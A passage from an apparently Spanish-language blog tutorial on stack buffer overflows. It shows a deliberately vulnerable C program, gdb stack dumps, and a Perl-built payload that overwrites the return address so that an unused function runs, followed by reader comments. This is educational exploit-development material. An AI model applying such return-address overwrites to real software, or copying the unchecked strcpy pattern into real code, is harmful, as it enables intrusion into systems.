En la última entrada vimos qué era una vulnerabilidad BoF y cómo hacer que el programa con ella incurriera en un acceso ilegal a memoria y fallara. Provocar esto en un programa que está orientado a dar un servicio (un servidor web por ejemplo) es una de las formas de provocar un DoS (Denial of Service). A veces un BoF sólo puede aprovecharse para provocar un DoS, pero otras veces se puede conseguir mucho más si se sabe cómo hacerlo. Ya hablamos en la entrada anterior de que en el caso más extremo un BoF puede acabar con la ejecución arbitraria de código... o no tan arbitrario. En esta entrada vamos a hablar de ello. Vamos a enseñar cómo, a partir de un BoF, podemos conseguir ejecutar código y conseguir cosas graciosas.
Volvamos a ver un programa con un BoF de libro.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
int saludar() {
printf("Hola BoF\n");
exit(0);
}
int main(int argc, char *argv[]) {
char buffer[128];
if (argc != 2)
printf("Usage: %s <param>\n", argv[0]), exit(-1);
strcpy(buffer, argv[1]);
return 0;
}
En buffer se copia el primer parámetro pasado al programa, si este parámetro es mayor de 128 bytes habrá sobreescritura. Veámoslo.
$ ./bof2 hola
$ ./bof2 `perl -e 'print "A"x128'`
$ ./bof2 `perl -e 'print "A"x140'`
Violación de segmento
Aunque haya sobreescritura a partir de 128, el programa no explota hasta los 140 bytes. Veamos por qué, aunque estoy seguro que ya puedes intuirlo.
$ gdb -q bof2
Leyendo símbolos desde /path/bof2...(no se encontraron símbolos de depuración)hecho.
(gdb) disas main
Dump of assembler code for function main:
0x08048472 <+0>: push %ebp
0x08048473 <+1>: mov %esp,%ebp
0x08048475 <+3>: and $0xfffffff0,%esp
0x08048478 <+6>: sub $0x90,%esp
0x0804847e <+12>: cmpl $0x2,0x8(%ebp)
0x08048482 <+16>: je 0x80484a6 <main+52>
0x08048484 <+18>: mov 0xc(%ebp),%eax
0x08048487 <+21>: mov (%eax),%edx
0x08048489 <+23>: mov $0x8048599,%eax
0x0804848e <+28>: mov %edx,0x4(%esp)
0x08048492 <+32>: mov %eax,(%esp)
0x08048495 <+35>: call 0x8048364 <printf@plt>
0x0804849a <+40>: movl $0xffffffff,(%esp)
0x080484a1 <+47>: call 0x8048384 <exit@plt>
0x080484a6 <+52>: mov 0xc(%ebp),%eax
0x080484a9 <+55>: add $0x4,%eax
0x080484ac <+58>: mov (%eax),%eax
0x080484ae <+60>: mov %eax,0x4(%esp)
0x080484b2 <+64>: lea 0x10(%esp),%eax
0x080484b6 <+68>: mov %eax,(%esp)
0x080484b9 <+71>: call 0x8048354 <strcpy@plt>
0x080484be <+76>: mov $0x0,%eax
0x080484c3 <+81>: leave
0x080484c4 <+82>: ret
End of assembler dump.
(gdb) br *main+71
Punto de interrupción 1 at 0x80484b9
(gdb) run `perl -e 'print "A"x128'`
Starting program: /path/bof2 `perl -e 'print "A"x128'`
Breakpoint 1, 0x080484b9 in main ()
(gdb) x/40xw $esp
0xbffff260: 0xbffff270 0xbffff554 0x00119b82 0xbffff314
0xbffff270: 0x080481cc 0xbffff308 0x0012da74 0x00000000
0xbffff280: 0xb7fffb28 0x00000001 0x00000000 0x00000001
0xbffff290: 0x0012d918 0x00000001 0x00008000 0x00287ff4
0xbffff2a0: 0x00237e79 0x0015e785 0xbffff2b8 0x00145ae5
0xbffff2b0: 0x00000000 0x08049ff4 0xbffff2c8 0x08048320
0xbffff2c0: 0x0011eb60 0x08049ff4 0xbffff2f8 0x080484f9
0xbffff2d0: 0x00288324 0x00287ff4 0x080484e0 0xbffff2f8
0xbffff2e0: 0x0015e985 0x0011eb60 0x080484eb 0x00287ff4
0xbffff2f0: 0x080484e0 0x00000000 0xbffff378 0x00145ce7
(gdb) nexti
0x080484be in main ()
(gdb) x/40xw $esp
0xbffff260: 0xbffff270 0xbffff554 0x00119b82 0xbffff314
0xbffff270: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff280: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff290: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2b0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2f0: 0x08048400 0x00000000 0xbffff378 0x00145ce7
Usaré los mismos colores y patrones de la entrada anterior, y probablemente los seguiré usando el resto del curso.
Podemos apreciar dónde se encuentra buffer dentro del stack frame de main(), en esta ejecución hemos sobreescrito un byte más allá del límite del buffer, pero lo cambiado es un valor que no afecta al resto de la ejecución del programa. Veamos ahora por qué cuando al programa le pasamos 141 bytes sí explota.
(gdb) run `perl -e 'print "A"x140'`
The program being debugged has been started already.
Start it from the beginning? (y o n) y
Starting program: /path/bof2 `perl -e 'print "A"x140'`
Breakpoint 1, 0x080484b9 in main ()
(gdb) x/40xw $esp
0xbffff250: 0xbffff260 0xbffff548 0x00119b82 0xbffff304
0xbffff260: 0x080481cc 0xbffff2f8 0x0012da74 0x00000000
0xbffff270: 0xb7fffb28 0x00000001 0x00000000 0x00000001
0xbffff280: 0x0012d918 0x00000001 0x00008000 0x00287ff4
0xbffff290: 0x00237e79 0x0015e785 0xbffff2a8 0x00145ae5
0xbffff2a0: 0x00000000 0x08049ff4 0xbffff2b8 0x08048320
0xbffff2b0: 0x0011eb60 0x08049ff4 0xbffff2e8 0x080484f9
0xbffff2c0: 0x00288324 0x00287ff4 0x080484e0 0xbffff2e8
0xbffff2d0: 0x0015e985 0x0011eb60 0x080484eb 0x00287ff4
0xbffff2e0: 0x080484e0 0x00000000 0xbffff368 0x00145ce7
(gdb) nexti
0x080484be in main ()
(gdb) x/40xw $esp
0xbffff250: 0xbffff260 0xbffff548 0x00119b82 0xbffff304
0xbffff260: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff270: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff280: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff290: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2b0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2e0: 0x41414141 0x41414141 0x41414141 0x00145c00
Como vemos, aquí se ha llegado a sobreescribir la dirección de retorno de main(). Cuando main() termine se saltará al código en la dirección 0x00145c00 (y no ha 0x00145ce7 como debería), ejecutando lo que allá hay. Dado que a partir de ese punto la ejecución ha sido corrompida (se ha cambiado el flujo de ejecución) lo más normal es acabar en un fallo de segmentación.
Lo que tenemos que tener claro de todo esto es que podemos cambiar el flujo de ejecución de un programa, y por tanto podemos hacer que el programa haga otras cosas, eso sí, hilando fino.
Veamos ahora cómo lograr ejecutar la función saludar() que escribí en el código y que sin embargo no usaba. Lo que debemos hacer es provocar la sobreescritura, pero de tal manera que lo que acabe en la dirección de retorno sea la dirección de la función saludar(), de forma que cuando main() retorne lo haga hacia saludar() y no de donde quiera que viniera. Lo primero es averiguar la dirección de saludar().
$ objdump -d bof2 | egrep "<saludar>"
08048454 <saludar>:
La primera instrucción de saludar() se encuentra en la dirección 0x08048454, veamos ahora cómo hacer que el programa ejecute esta función. Sabemos que a partir del byte 141 que le pasamos al programa se sobreescribe la dirección de retorno de main(), con lo que el byte 141, 142, 143 y 144 deben ser la dirección de saludar(). Lo que haremos será pasarle al programa 140 bytes de porquería, unas cuantas Aes por ejemplo (o eÑes si eres de la Nighterman old school) y justo después cada uno de los bytes de saludar().
$ ./bof2 `perl -e 'print "A"x140 . "\x08\x04\x84\x54"'`
Violación de segmento
¿Qué ha pasado por ahí abajo para que no haya funcionado lo que habíamos planeado? Veámoslo, porque es algo bastante común y que debemos tener en cuenta.
$ gdb -q bof2
Leyendo símbolos desde /path/bof2...(no se encontraron símbolos de depuración)hecho.
(gdb) disas main
Dump of assembler code for function main:
0x08048472 <+0>: push %ebp
0x08048473 <+1>: mov %esp,%ebp
0x08048475 <+3>: and $0xfffffff0,%esp
0x08048478 <+6>: sub $0x90,%esp
0x0804847e <+12>: cmpl $0x2,0x8(%ebp)
0x08048482 <+16>: je 0x80484a6 <main+52>
0x08048484 <+18>: mov 0xc(%ebp),%eax
0x08048487 <+21>: mov (%eax),%edx
0x08048489 <+23>: mov $0x8048599,%eax
0x0804848e <+28>: mov %edx,0x4(%esp)
0x08048492 <+32>: mov %eax,(%esp)
0x08048495 <+35>: call 0x8048364 <printf@plt>
0x0804849a <+40>: movl $0xffffffff,(%esp)
0x080484a1 <+47>: call 0x8048384 <exit@plt>
0x080484a6 <+52>: mov 0xc(%ebp),%eax
0x080484a9 <+55>: add $0x4,%eax
0x080484ac <+58>: mov (%eax),%eax
0x080484ae <+60>: mov %eax,0x4(%esp)
0x080484b2 <+64>: lea 0x10(%esp),%eax
0x080484b6 <+68>: mov %eax,(%esp)
0x080484b9 <+71>: call 0x8048354 <strcpy@plt>
0x080484be <+76>: mov $0x0,%eax
0x080484c3 <+81>: leave
0x080484c4 <+82>: ret
End of assembler dump.
(gdb) br *main+71
Punto de interrupción 1 at 0x80484b9
(gdb) r `perl -e 'print "A"x140 . "\x08\x04\x84\x54"'`
Starting program: /path/bof2 `perl -e 'print "A"x140 . "\x08\x04\x84\x54"'`
Breakpoint 1, 0x080484b9 in main ()
(gdb) x/40xw $esp
0xbffff250: 0xbffff260 0xbffff544 0x00119b82 0xbffff304
0xbffff260: 0x080481cc 0xbffff2f8 0x0012da74 0x00000000
0xbffff270: 0xb7fffb28 0x00000001 0x00000000 0x00000001
0xbffff280: 0x0012d918 0x00000001 0x00008000 0x00287ff4
0xbffff290: 0x00237e79 0x0015e785 0xbffff2a8 0x00145ae5
0xbffff2a0: 0x00000000 0x08049ff4 0xbffff2b8 0x08048320
0xbffff2b0: 0x0011eb60 0x08049ff4 0xbffff2e8 0x080484f9
0xbffff2c0: 0x00288324 0x00287ff4 0x080484e0 0xbffff2e8
0xbffff2d0: 0x0015e985 0x0011eb60 0x080484eb 0x00287ff4
0xbffff2e0: 0x080484e0 0x00000000 0xbffff368 0x00145ce7
(gdb) nexti
0x080484be in main ()
(gdb) x/40xw $esp
0xbffff250: 0xbffff260 0xbffff544 0x00119b82 0xbffff304
0xbffff260: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff270: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff280: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff290: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2b0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2e0: 0x41414141 0x41414141 0x41414141 0x54840408
Ahora vemos qué está pasando. La dirección de retorno no se ha sobreescrito por 0x08048454, sino por ese número pero con los bytes al revés, 0x54840408. ¿Y esto por qué es?. Recordemos que estamos ejecutando en una máquina x86, esta arquitectura utiliza una ordenación de los bytes de los datos tipo little endian, lo que significa que los bytes menos significativos de un dato van en posiciones menos significativas de memoria. Mucho cuidado con estos detalles y con la forma de representar los datos tanto de gdb como de cualquier otro debugger que uses.
Dado que de la dirección de saludar, 0x08048454, el byte menos significativo es 0x54, es éste el que debe ir en el byte menos significativo de la dirección de retorno, luego 0x84 y así sucesivamente.
(gdb) r `perl -e 'print "A"x140 . "\x54\x84\x04\x08"'`
The program being debugged has been started already.
Start it from the beginning? (y o n) y
Starting program: /path/bof2 `perl -e 'print "A"x140 . "\x54\x84\x04\x08"'`
Breakpoint 1, 0x080484b9 in main ()
(gdb) cont
Continuando.
Hola BoF
Program exited normally.
Efectivamente ahora sí vemos que se nos ha escrito el mensaje "Hola BoF" que esperábamos. Veamos que también ocurre ejecutando sin gdb.
$ ./bof2 `perl -e 'print "A"x140 . "\x54\x84\x04\x08"'`
Hola BoF
Correcto, hemos conseguido hacer que un programa que, en principio no llamaba a cierta función acabe llamándola. Esto es lo que se suele llamar ejecución "arbitraria" de código.
Espero que con esto se les haya iluminado la mente y descubierto nuevas vías para truquear los programas, pero sobre todo espero que les sigan surgiendo nuevas dudas y ganas de seguir leyendo... porque seguiré escribiendo y mostrando cosas aún más interesantes, sólo estamos empezando...
Saludos.
Muy bien explicado David!! Me ha gustado el ejemplo de llamar a una función "inexistente".
ResponderEliminarMuy buena la serie ;)
Un Saludo!!
Me alegro que te gusten Dani ;). Ya veremos más adelante cómo ejecutar lo que queramos y no sólo lo que dispongamos...
ResponderEliminarlastima no haber encontrado el curso antes, esta excelente...gracias ole
ResponderEliminar